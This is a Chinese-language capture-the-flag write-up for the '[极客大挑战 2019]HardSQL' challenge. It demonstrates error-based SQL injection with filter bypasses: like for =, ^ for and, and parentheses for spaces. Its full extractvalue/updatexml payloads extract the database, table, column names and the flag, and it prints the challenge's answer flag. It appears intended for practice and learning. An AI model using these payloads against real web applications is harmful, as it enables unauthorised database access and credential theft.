[极客大挑战 2019]HardSQL wp
程序员文章站
2022-07-16 16:06:04
...
[极客大挑战 2019]HardSQL wp
这道题考察的主要是sql注入的报错注入攻击
首先我们打开页面,是这样的
依旧试一下万能密码看看
可以从url看出,sql注入是用的get方式
继续添加单引号发现报错
常规查表名,没有反应,试一下双写
依旧没有反应,猜测应该是报错注入,简单测试,发现=,and,空格等都被过滤了,且双写无法绕过, =可以用like代替,and用^代替,空格用()代替
继续我们查数据库,注入
?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(database()))))%23
发现updatexml()函数不能用,我们可以用**extractvalue()代替updatexml()**注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆出数据库geek
,继续我们查表名,注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
爆出表名H4rDsq1
,我们继续查字段名,注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
得到字段名id,username,password
,接着我们查password里面的数据,注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(0x23,password)))from(geek.H4rDsq1))))%23
得到flag flag{d47eea54-c6a4-4932-b47a-61
,但是仔细看,发现falg不对劲,只有一半,我们用right()函数再继续查,注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(0x23,right(password,30))))from(geek.H4rDsq1))))%23
得到另一半flag4-c6a4-4932-b47a-61153560fead}
最后两半flag拼起来就是正确的flag啦,5u,着实不容易。
最后总结一下,从最开始的万能密码,到常规的union注入,再到双写绕过,到今天的报错注入,sql注入的难度在一步步增加,但是union注入是所有注入类型的基础,完全掌握union注入后,其他类型都只不过是在其基础上增加一些花样而已啦
感谢勤劳的自己heyheyhey~
下一篇: maven项目引入本地jar包